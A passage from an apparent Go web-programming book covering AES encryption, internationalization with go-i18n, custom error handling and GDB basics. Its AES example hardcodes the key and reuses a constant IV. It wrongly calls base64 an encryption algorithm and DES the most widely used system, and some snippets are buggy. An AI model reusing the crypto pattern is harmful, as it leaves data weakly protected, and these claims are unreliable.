The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use a symmetric encryption algorithm instead of the one-way hashing techniques we’ve previously covered.





62.1 Advanced encryption and decryption

The Go language supports symmetric encryption algorithms in its crypto package. Two advanced encryption modules are:


	crypto/aes package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard.

	crypto/des package: DES (Data Encryption Standard), is a symmetric encryption standard . It’s currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government’s encryption standard, but has now been replaced by AES.



Because using these two encryption algorithms is quite similar, we’ll just use the aes package in the following example to demonstrate how you’d typically use these packages:

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "fmt"
    "os"
)

var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

func main() {
    // Need to encrypt a string
    plaintext := []byte("My name is Astaxie")
    // If there is an incoming string of words to be encrypted, set plaintext to that incoming string
    if len(os.Args) > 1 {
        plaintext = []byte(os.Args[1])
    }

    // aes encryption string
    key_text := "astaxie12798akljzmknm.ahkjkljl;k"
    if len(os.Args) > 2 {
        key_text = os.Args[2]
    }

    fmt.Println(len(key_text))

    // Create the aes encryption algorithm 
    c, err := aes.NewCipher([]byte(key_text))
    if err != nil {
        fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
        os.Exit(-1)
    }

    // Encrypted string
    cfb := cipher.NewCFBEncrypter(c, commonIV)
    ciphertext := make([]byte, len(plaintext))
    cfb.XORKeyStream(ciphertext, plaintext)
    fmt.Printf("%s=>%x\n", plaintext, ciphertext)

    // Decrypt strings
    cfbdec := cipher.NewCFBDecrypter(c, commonIV)
    plaintextCopy := make([]byte, len(plaintext))
    cfbdec.XORKeyStream(plaintextCopy, ciphertext)
    fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}

Calling the above function aes.NewCipher (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a cipher.Block Interface that implements three functions:

type Block interface {
    // BlockSize returns the cipher's block size.
    BlockSize() int

    // Encrypt encrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Encrypt(dst, src []byte)

    // Decrypt decrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Decrypt(dst, src []byte)
}

These three functions implement encryption and decryption operations; see the Go documentation for a more detailed explanation.





62.2 Summary

This section describes encryption algorithms which can be used in different ways according to your web application’s encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES.





62.3 Links


	Directory

	Previous: store passwords

	Next: Summary







63 9.7 Summary

In this chapter, we’ve described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we’ve also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then talked about a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption algorithms: base64, AES and DES.

The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications.





63.1 Links


	Directory

	Previous section: Encrypt and decrypt data

	Next chapter: Internationalization and localization







64 10 Internationalization and localization

In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build multilingual, international web applications.

This means that same pages will appear in different languages according to user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture. For example at runtime, the application will be able to recognize and process requests coming from different geographical regions and render pages in the local dialect or display different user interface. As competent developers, we don’t want to have to manually modify our application’s source code to cater to every possible region out there. When an application needs to add support for a new language, we should be able to simply drop in the appropriate language pack and be done with it.

In this section, we’ll be talking about internationalization and localization (usually expressed as i18n and L10N, respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple regions around the world. In some ways, we can think of internationalization as something that helps to facilitate localization, which is the adaptation of a web application’s content and design to suit the language or cultural needs of specific locales.

Currently, Go’s standard package does not provide i18n support, but there are some useful and relatively simple third-party implementations available. In this chapter, we’ll be using the open-source “go-i18n” library to support internationalization in our examples.

When we talk about making our web applications “international”, we mean that each web page should be constructed with locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This involves three things:


	how to determine the user’s locale.


	how to save strings or other information associated with the locale.


	how to embed strings and other information according to the user’s locale.




In the first section, we’ll describe how to detect and set the correct locale in order to allow website users access to their language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other locale related information. Finally, the third section will describe how to internationalize your web application; more specifically, we’ll discuss how to return different pages with locale appropriate content. Through these three sections, we’ll be able to support full i18n in our web applications.





64.1 Links


	Directory

	Previous Chapter: Chapter 9 Summary

	Next section: Setting the default region







65 10.1 Setting the default region





65.1 Finding out the locale

A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text formatting, cultural idioms and a multitude of other settings. A locale’s name is usually composed of three parts. First (and mandatory) is the locale’s language abbreviation, such as “en” for English or “zh” for Chinese. The second part is an optional country specifier, and follows the first with an minus sign. This specifier allows web applications to distinguish between different countries which speak the same language, such as “en-US” for U.S. English, and “en-GB” for British English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set to use, for instance “zh-CN.gb2312” specifies the gb2312 character set for Chinese.

Go defaults to the “UTF-8” encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our examples, we’ll only use the first two parts of locale descriptions as our standard i18n locale names.


On Linux and Solaris systems, you can use the locale -a command to get a list of all supported regional names. You can use this list as examples of some common locales. For BSD and other systems, there is no locale command, but the regional information is stored in /usr/share/locale.







65.2 Setting the locale

Now that we’ve defined what a locale is, we need to be able to set it according to visiting users’ information (either from their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user’s locale:





65.2.1 From the domain name

We can set a user’s locale via the domain name itself when the application uses different domains for different regions. For example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type of setup has several advantages:


	Identifying the locale via URL is distinctive and unambiguous

	Users intuitively know which domain names to visit for their specific region or language

	Implementing this scheme in a Go application very simple and convenient, and can be achieved through a map

	Conducive to search engine crawlers which can improve the site’s SEO



We can use the following code to implement a corresponding domain name locale:

if r.Host == "www.asta.com" {
    i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
    i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
    i18n.SetLocale("zh-TW")
}

Alternatively, we could have also set locales through the use of sub-domain such as “en.asta.com” for English sites and “cn.asta.com” for Chinese site. This scheme can be realized in code as follows:

prefix:= strings.Split(r.Host,".")

if prefix[0] == "en" {
    i18n.SetLocale("en")
} else if prefix[0] == "cn" {
    i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
    i18n.SetLocale("zh-TW")
}

Setting locales from the domain name as we’ve done above has its advantages, however l10n is generally not implemented in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local context. Secondly, we don’t want to have to individually configure each website for each locale. Rather, we should be able to do this programmatically, for instance by using URL parameters. Let’s have a look at the following description.





65.2.2 From URL parameters

The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such www.asta.com/hello?locale=zh or www.asta.com/zh/hello. This way, we can set the region like so: i18n.SetLocale(params["locale"]).

This setup has almost all the advantages of prepending the locale in front of the domain and it’s RESTful, so we don’t need to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic function that produces these locale-specific URLs so that all links are generated through it. This function should automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease: locale = params [" locale "].

Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific locale like www.asta.com/en/books for our English site and www.asta.com/zh/books for the Chinese one. This approach is not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation):

mux.Get("/:locale/books", listbook)





65.2.3 From the client settings area

In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL or URL parameters. This information may come directly from the client’s browser settings, the user’s IP address, or the location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications.


	Accept-Language



When a client requests information using an HTTP header set with the Accept-Language field, we can use the following Go code to parse the header and set the appropriate region code:

AL := r.Header.Get("Accept-Language")
if AL == "en" {
    i18n.SetLocale("en")
} else if AL == "zh-CN" {
    i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
    i18n.SetLocale("zh-TW")
}

Of course, in real world applications, we may require more rigorous processes and rules for setting user regions


	IP Address



Another way of setting a client’s region is to look at the user’s IP address. We can use the popular GeoIP GeoLite Country or City libraries to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is very simple: we only need to look up the user’s IP address inside our database and then return locale-specific content according to which region was returned.


	User profile



You can also let users provide you with their locale information through an input element such as a drop-down menu (or something similar). When we receive this information, we can save it to the account associated with the user’s profile. When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user accesses the website, the returned content will be based on their previously set locale.





65.3 Summary

In this section, we’ve demonstrated a variety of ways with which user specific locales can be detected and set. These methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive environment for users to access the services that we provide.





65.4 Links


	Directory

	Previous one: Internationalization and localization

	Next section: Localized resources







66 10.2 Localized Resources

The previous section described how to set locales. After the locale has been set, we then need to address the problem of storing the information corresponding to specific locales. This information can include: textual content, time and date, currency values ​​, pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively.





66.1 Localized textual content

Plain text is the most common way of representing information in web applications, and the bulk of your localized content will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve the corresponding strings from the appropriate map. The following snippet is a simple example of this process:

package main

import "fmt"

var locales map[string]map[string]string

func main() {
    locales = make(map[string]map[string]string, 2)
    en := make(map[string]string, 10)
    en["pea"] = "pea"
    en["bean"] = "bean"
    locales["en"] = en
    cn := make(map[string]string, 10)
    cn["pea"] = "豌豆"
    cn["bean"] = "毛豆"
    locales["zh-CN"] = cn
    lang := "zh-CN"
    fmt.Println(msg(lang, "pea"))
    fmt.Println(msg(lang, "bean"))
}

func msg(locale, key string) string {
    if v, ok := locales[locale]; ok {
        if v2, ok := v[key]; ok {
            return v2
        }
    }
    return ""
}

The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales). We map our cn translations to the same English language keys so that we can reconstruct our English text message in Chinese. If we wanted to switch our text to any other locale we may have implemented, it’d be a simple matter of setting one lang variable.

Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as “I am 30 years old” where 30 is a variable, how would we localize it? In cases like these, we can combine use the fmt.Printf function to achieve the desired result:

en["how old"] = "I am %d years old"
cn["how old"] = "我今年%d岁了"

fmt.Printf(msg(lang, "how old"), 30)

The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in our database, allowing us to execute a simple json.Unmarshal to populate map locales with our string translations.





66.2 Localized date and time

Because of our time zone conventions, the time in one region of the world can be different than the time in another region. Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment may read 2012年10月24日 星期三 23时11分13秒 CST, while in English, it might be: Wed Oct 24 23:11:13 CST 2012. Not only are there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times, we need to address the following two points:


	time zones

	formatting issues



The $GOROOT/lib/time/package/timeinfo.zip directory contains locales corresponding to time zone definitions. In order to obtain the time corresponding to a user’s current locale, we should first use time.LoadLocation(name string) to get a Location object corresponding to our locale, passing in a string representing the locale such as Asia/Shanghai or America/Chicago. We can then use this Location object in conjunction with a Time object (obtained by calling time.Now) to get the final time using the Time object’s In method. A detailed look at this process can be seen below (this example uses some of the variables from the example above):

en["time_zone"] = "America/Chicago"
cn["time_zone"] = "Asia/Shanghai"

loc, _ := time.LoadLocation(msg(lang, "time_zone"))
t := time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))

We can handle text formatting in a similar way to solve our time formatting problem:

en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"

fmt.Println(date(msg(lang,"date_format"),t))

func date(fomat string, t time.Time) string{
    year, month, day = t.Date()
    hour, min, sec = t.Clock()
    //Parsing the corresponding %Y%m%d%H%M%S and then returning the information
    //%Y replaced by 2012
    //%m replaced by 10
    //%d replaced by 24
}





66.3 Localized currency value

Obviously, currency differs from region to region also. We can treat it the same way we treated our dates:

en["money"] ="USD %d"
cn["money"] ="￥%d元"

fmt.Println(date(msg(lang,"date_format"),100))

func money_format(fomat string, money int64) string{
    return fmt.Sprintf(fomat, money)
}





66.4 Localization of views and resources

We can serve customized views with different images, css, js and other static resources depending on the current locale. One way to accomplish this is by organizing these files into their respective locales. Here’s an example:

views
|--en  //English Templates
    |--images     //store picture information
    |--js         //JS files 
    |--css        //CSS files
    index.tpl     //User Home
    login.tpl     //Log Home
|--zh-CN //Chinese Templates
    |--images
    |--js
    |--css
    index.tpl
    login.tpl

With this directory structure, we can render locale-specific views like so:

s1, _ := template.ParseFiles("views" + lang + "index.tpl")
VV.Lang = lang
s1.Execute(os.Stdout, VV)

The resources referenced in the index.tpl file can be dealt with as follows:

// js file
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css file
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// Picture files
<img src="views/{{.VV.Lang}}/images/btn.png">

With dynamic views and the way we’ve localized our resources, we will be able to add more locales without much effort.





66.5 Summary

This section described how to use and store local resources. We learned that we can use conversion functions and string interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency, we simply used the fmt.Printf function to format it before-hand. Localizing our views and resources was the easiest case, and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths.





66.6 Links


	Directory

	Previous section: Setting the default region

	Next section: [International sites







67 10.3 International sites

The previous section explained how to deal with localized resources, namely by using locale configuration files. So what can we do if we need to deal with multiple localized resources like text translations, times and dates, numbers, etc? This section will address these issues one by one.





67.1 Managing multiple locale packages

In the development of an application, often the first thing you need to do is to decide whether or not you want to support more than one language. If you do decide to support multiple languages, you’ll need to develop an organizational structure to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files together in a config/locales directory, or something of the like. Let’s suppose you want to support both Chinese and English. In this case, you’d be placing both the en.json and zh.json locale files into the aforementioned folder. Their contents would probably look something like the following:

# zh.json

{
"zh": {
    "submit": "提交",
    "create": "创建"
    }
}

# en.json

{
"en": {
    "submit": "Submit",
    "create": "Create"
    }
}

We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of go-i18n ( A more advanced i18n package can be found here ), we first have to register our config/locales directory to load all of our locale files:

Tr := i18n.NewLocale()
Tr.LoadPath("config/locales")

This package is simple to use. We can test that it works like so:

fmt.Println(Tr.Translate("submit"))
//Output "submit"
Tr.SetLocale("zn")
fmt.Println(Tr.Translate("submit"))
//Outputs "递交"





67.2 Automatically load local package

We’ve just described how to automatically load custom language packs. In fact, the go-i18n library comes pre-loaded with a bunch of default formatting information such as time and currency formats. These default configurations can be overridden and customized by users to suit their needs. Consider the following process:

//Load the default configuration files, which are placed below in `go-i18n/locales`

//File should be named zh.json, en-json, en-US.json etc., so we can be continuously support more languages

func (il *IL) loadDefaultTranslations(dirPath string) error {
    dir, err := os.Open(dirPath)
    if err != nil {
        return err
    }
    defer dir.Close()

    names, err := dir.Readdirnames(-1)
    if err != nil {
        return err
    }

    for _, name := range names {
        fullPath := path.Join(dirPath, name)

        fi, err := os.Stat(fullPath)
        if err != nil {
            return err
        }

        if fi.IsDir() {
            if err := il.loadTranslations(fullPath); err != nil {
                return err
            }
        } else if locale := il.matchingLocaleFromFileName(name); locale != "" {
            file, err := os.Open(fullPath)
            if err != nil {
                return err
            }
            defer file.Close()

            if err := il.loadTranslation(file, locale); err != nil {
                return err
            }
        }
    }

    return nil
}

Using the above code to load all of our default translations, we can then use the following code to select and use a locale:

fmt.Println(Tr.Time(time.Now()))
//Output: 2009年1月08日 星期四 20:37:58 CST

fmt.Println(Tr.Time(time.Now(),"long"))
//Output: 2009年1月08日

fmt.Println(Tr.Money(11.11))
//Output: ¥11.11





67.3 Template mapfunc

Above, we’ve presented one way of managing and integrating a number of language packs. Some of the functions we’ve implemented are based on the logical layer, for example: “Tr.Translate”, “Tr.Time”, “Tr.Money” and so on. In the logical layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the results directly to the template layer at render time. What can we do if we want to use these functions directly in the template layer? In case you’ve forgotten, earlier in the book we mentioned that Go templates support custom template functions. The following code shows how easy mapfunc is to implement:

1 text information

A simple text conversion function implementing a mapfunc can be seen below. It uses Tr.Translate to perform the appropriate translations:

func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Translate(s)
}

We register the function like so:

t.Funcs(template.FuncMap{"T": I18nT})

Then use it from your template:

{{.V.Submit | T}}


	The date and time



Dates and times call the Tr.Time function to perform their translations. The mapfunc is implemented as follows:

func I18nTimeDate(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Time(s)
}

Register the function like so:

t.Funcs(template.FuncMap{"TD": I18nTimeDate})

Then use it from your template:

{{.V.Now | TD}}

3 Currency Information

Currencies use the Tr.Money function to convert money. The mapFunc is implemented as follows:

func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Money(s)
}

Register the function like so:

t.Funcs(template.FuncMap{"M": I18nMoney})

Then use it from your template:

{{.V.Money | M}}





67.4 Summary

In this section we learned how to implement multiple language packs in our web applications. We saw that through custom language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also (through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time, currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our templates using mapping functions; each translated string can be piped directly to our templates. This enables our web applications to accommodate multiple languages with minimal effort.





67.5 Links


	Directory

	Previous section: Localized resources

	Next section: Summary







68 10.4 Summary

Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are necessary for internationalizing and localizing your websites. I’ve also introduced an open source solution for i18n in Go: go-i18n. Using this open source library, we can easily implement multi-language versions of our web applications. This allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open source library or any missing features, please open an issue or a pull request! Let’s strive to make it one of Go’s standard libraries!





68.1 Links


	Directory

	Previous section: International sites

	Next chapter: Error handling, debugging and testing







69 11 Error Handling, Debugging, and Testing

We often see the majority of a programmer’s “programming” time spent on checking for bugs and working on bug fixes. Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting and testing. From the outside, people may think that all we do as programmers is design our systems and then write our code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have never been done before. While this last part may be true, what they don’t know is that we spend the majority of our time cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling you to focus instead on more valuable things like the application logic.

Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred, spending hours locating and fixing problems after the application is already online. It’s good practice (and probably common sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make your job, and the jobs of all the other developers who may be working on your application someday, much easier when they inevitably need to modify the code or upgrade the system.

In the process of developing web applications, you will inevitably encounter unforeseen errors. What’s the most efficient way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss application monitoring and debugging operations.

Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests, as well as defining Go’s unit testing rules. We’ll see how following these rules will ensure that when upgrading or modifying your application, the test code will be able to run smoothly.

Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on these issues head-on so you won’t have to run away from these tasks any longer. Since you’re just learning how to build web applications in Go, let’s use this opportunity to establish these good habits from the very beginning.





69.1 Links


	Directory

	Previous chapter: Chapter 10 summary

	Next section: Error handling







70 11.1 Error handling

Go’s major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C) and statements which are explicit and don’t contain any hidden or unexpected things. Go’s error handling scheme reflects all of these principles in the way that it’s implemented. If you’re familiar with the C language, you’ll know that it’s common to return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C’s API will not know exactly what these return values mean. In C, it’s not explicit whether a value of 0 indicates success of failure. On the other hand, Go explicitly defines a type called error for the sole purpose of expressing errors. Whenever a function returns, we check to see whether the error variable is nil or not to determine if the operation was successful. For example, the os.Open function fails, it will return a non-nil error variable.

func Open(name string) (file * File, err error)

Here’s an example of how we’d handle an error in os.Open. First, we attempt to open a file. When the function returns, we check to see whether it succeeded or not by comparing the error return value with nil, calling log.Fatal to output an error message if it’s a non-nil value:

f, err := os.Open("filename.ext")
if err != nil {
  log.Fatal(err)
}

Similar to the os.Open function, the functions in Go’s standard packages all return error variables to facilitate error handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web applications.





70.1 Error type

error is an interface type with the following definition:

type error interface {
    Error() string
}

error is a built-in interface type. We can find its definition in the builtin package below. We also have a lot of internal packages which use error in a private structure called errorString, which implements the error interface:

// errorString is a trivial implementation of error.
type errorString struct {
    s string
}

func (e *errorString) Error() string {
    return e.s
}

You can convert a regular string to an errorString through errors.New in order to get an object that satisfies the error interface. Its internal implementation is as follows:

// New returns an error that formats as the given text.
func New(text string) error {
    return &errorString{text}
}

The following example demonstrates how to use errors.New:

func Sqrt(f float64) (float64, error) {
    if f < 0 {
        return 0, errors.New("math: square root of negative number")
    }
    // implementation
}

In the following example, we pass a negative number to our Sqrt function. Checking the err variable, we check whether the error object is non-nil using a simple nil comparison. The result of the comparison is true, so fmt.Println (the fmt package calls the error method when dealing with error calls) is called to output an error.

f, err := Sqrt(-1)
if err != nil {
    fmt.Println(err)
}   





70.2 Custom Errors

Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface, we can implement their error definitions. Here’s an example from the JSON package:

type SyntaxError struct {
    msg string // error description
    Offset int64 // where the error occurred
}

func (e * SyntaxError) Error() string {return e.msg}

The error’s Offset field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you can print the desired error message:

if err := dec.Decode(&val); err != nil {
    if serr, ok := err.(*json.SyntaxError); ok {
        line, col := findLine(f, serr.Offset)
        return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)
    }
    return err
}

It should be noted that when the function returns a custom error, the return value is set to the recommend type of error rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example:

func Decode() *SyntaxError {
    // error, which may lead to the caller's err != nil comparison to always be true.
    var err * SyntaxError // pre-declare error variable
    if an error condition {
        err = &SyntaxError{}
    }
    return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true
}

See http://golang.org/doc/faq#nil_error for an in depth explanation

The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error handling? In this case, we have to refer to the net package approach:

package net

type Error interface {
    error
    Timeout() bool   // Is the error a timeout?
    Temporary() bool // Is the error temporary?
}

Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the operation.

if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
    time.Sleep(1e9)
    continue
}
if err != nil {
    log.Fatal(err)
}





70.3 Error handling

Go handles errors and checks the return values of functions in a C-like fashion, which is different than what most of the other major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling behaviour:

func init() {
    http.HandleFunc("/view", viewRecord)
}

func viewRecord(w http.ResponseWriter, r *http.Request) {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        http.Error(w, err.Error(), 500)
    }
}

The above example demonstrate access to data and template call has detected error when an error occurs , call a unified handler http.Error, returns a 500 error code to the client , and display the corresponding error data. But when more and more HandleFunc join, so error-handling logic code will be more and more, in fact, we can customize the router to reduce code ( refer to realize the idea of ​​the third chapter of HTTP Detailed) .

The above function is an example of getting data and handling an error when it occurs by calling a unified error processing function called http.Error. In this case, it will return an Internal Error 500 code to the client, and display the corresponding error data. Even using this method however, when more and more HandleFunc’s are needed, the error-handling logic can still become quite bloated. An alternative approach would be to customize our router to handle errors by default:

type appHandler func(http.ResponseWriter, *http.Request) error

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if err := fn(w, r); err != nil {
        http.Error(w, err.Error(), 500)
    }
}

Above we’ve defined a custom router. We can then register our handler as usual:

func init() {
    http.Handle("/view", appHandler(viewRecord))
}

The /view handler can then be handled by the following code; it is a lot simpler than our original implementation isn’t it?

func viewRecord(w http.ResponseWriter, r *http.Request) error {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        return err
    }
    return viewTemplate.Execute(w, record)
}

The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer friendly error message with information that is useful for debugging like so:

type appError struct {
    Error   error
    Message string
    Code    int
}

Our custom router can be changed accordingly:

type appHandler func(http.ResponseWriter, *http.Request) *appError

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if e := fn(w, r); e != nil { // e is *appError, not os.Error.
        c := appengine.NewContext(r)
        c.Errorf("%v", e.Error)
        http.Error(w, e.Message, e.Code)
    }
}

After we’ve finished modifying our custom error, our logic can be changed as follows:

func viewRecord(w http.ResponseWriter, r *http.Request) *appError {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        return &appError{err, "Record not found", 404}
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        return &appError{err, "Can't display record", 500}
    }
    return nil
}

As shown above, we can return different error codes and error messages in our views, depending on the situation. Although this version of our code functions similarly to the previous version, it’s more explicit, and its error message prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity increases.





70.4 Summary

Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling. Although Error is only one interface, it can have many variations in the way that it’s implemented, and we can customize it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you will have gained some insight on how to implement better error handling schemes in your own web applications.





70.5 Links


	Directory

	Previous section: Error handling, debugging and testing

	Next section: Debugging by using GDB







71 11.2 Debugging with GDB

During the development process of any application, developers will always need to perform some kind of code debugging. PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and printing variable information directly. In Go, you can of course speckle your code with Printlns before-hand to display variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can quickly become cumbersome. If you’ve programmed in Python or Javascript, you’ll know that the former provides tools such as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging features: GDB. This section serves as a brief introduction into debugging Go applications using GDB.





71.1 GDB debugging profile

GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB allows us to do the following things:


	Initial settings can be customize according to the specific requirements of your application.

	Can be set so that the program being debugged in the developer’s console stops at the prescribed breakpoints (breakpoints can be conditional expressions).

	When the program has been stopped, you can check its current state to see what happened.

	Dynamically change the current program’s execution environment.



To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1.

When compiling Go programs, the following points require particular attention:


	Using -ldflags "-s" will prevent the standard debugging information from being printed

	Using -gcflags "-N-l" will prevent Go from performing some of its automated optimizations -optimizations of aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it’s best to disable them at compile time using these flags.



Some of GDB’s most commonly used commands are as follows:


	list



Also used in its abbreviated form l, list is used to display the source code. By default, it displays ten lines of code and you can specify the line you wish to display. For example, the command list 15 displays ten lines of code centered around line 15, as shown below.

10          time.Sleep(2 * time.Second)
11          c <- i
12      }
13      close(c)
14  }
15  
16  func main() {
17      msg := "Starting main"
18      fmt.Println(msg)
19      bus := make(chan int)


	break



Also used in its abbreviated form b, break is used to set breakpoints, and takes as an argument that defines which point to set the breakpoint at. For example, b 10 sets a break point at the tenth row.


	delete



